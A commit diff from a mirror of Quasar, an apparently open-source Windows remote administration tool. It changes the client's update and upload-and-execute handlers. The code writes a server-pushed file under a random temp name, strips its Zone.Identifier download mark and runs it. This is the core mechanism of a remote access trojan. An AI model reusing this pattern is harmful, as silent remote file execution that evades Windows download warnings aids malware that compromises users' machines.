mirror of https://github.com/quasar/Quasar.git
Small fix
This commit is contained in:
parent
161ad5063d
commit
524a682c66
|
@ -59,9 +59,9 @@ public static void HandleDoClientUpdate(Packets.ServerPackets.DoClientUpdate com
|
|||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
NativeMethods.DeleteFile(filePath);
|
||||
if (_renamedFiles.ContainsKey(command.ID))
|
||||
_renamedFiles.Remove(command.ID);
|
||||
NativeMethods.DeleteFile(filePath);
|
||||
new Packets.ClientPackets.SetStatus(string.Format("Update failed: {0}", ex.Message)).Execute(client);
|
||||
}
|
||||
|
||||
|
|
|
@ -69,25 +69,26 @@ public static partial class CommandHandler
|
|||
|
||||
public static void HandleDoUploadAndExecute(Packets.ServerPackets.DoUploadAndExecute command, Client client)
|
||||
{
|
||||
string filePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),
|
||||
command.FileName);
|
||||
if (!_renamedFiles.ContainsKey(command.ID))
|
||||
_renamedFiles.Add(command.ID, FileHelper.GetTempFilePath(Path.GetExtension(command.FileName)));
|
||||
|
||||
string filePath = _renamedFiles[command.ID];
|
||||
|
||||
try
|
||||
{
|
||||
if (command.CurrentBlock == 0 && Path.GetExtension(command.FileName) == ".exe" && !FileHelper.IsValidExecuteableFile(command.Block))
|
||||
if (command.CurrentBlock == 0 && Path.GetExtension(filePath) == ".exe" && !FileHelper.IsValidExecuteableFile(command.Block))
|
||||
throw new Exception("No executable file");
|
||||
|
||||
FileSplit destFile = new FileSplit(filePath);
|
||||
|
||||
if (!destFile.AppendBlock(command.Block, command.CurrentBlock))
|
||||
{
|
||||
new Packets.ClientPackets.SetStatus(string.Format("Writing failed: {0}", destFile.LastError)).Execute(
|
||||
client);
|
||||
return;
|
||||
}
|
||||
throw new Exception(destFile.LastError);
|
||||
|
||||
if ((command.CurrentBlock + 1) == command.MaxBlocks) // execute
|
||||
{
|
||||
if (_renamedFiles.ContainsKey(command.ID))
|
||||
_renamedFiles.Remove(command.ID);
|
||||
|
||||
FileHelper.DeleteZoneIdentifier(filePath);
|
||||
|
||||
ProcessStartInfo startInfo = new ProcessStartInfo();
|
||||
|
@ -105,6 +106,8 @@ public static void HandleDoUploadAndExecute(Packets.ServerPackets.DoUploadAndExe
|
|||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
if (_renamedFiles.ContainsKey(command.ID))
|
||||
_renamedFiles.Remove(command.ID);
|
||||
NativeMethods.DeleteFile(filePath);
|
||||
new Packets.ClientPackets.SetStatus(string.Format("Execution failed: {0}", ex.Message)).Execute(client);
|
||||
}
|
||||
|
|
Loading…
Reference in New Issue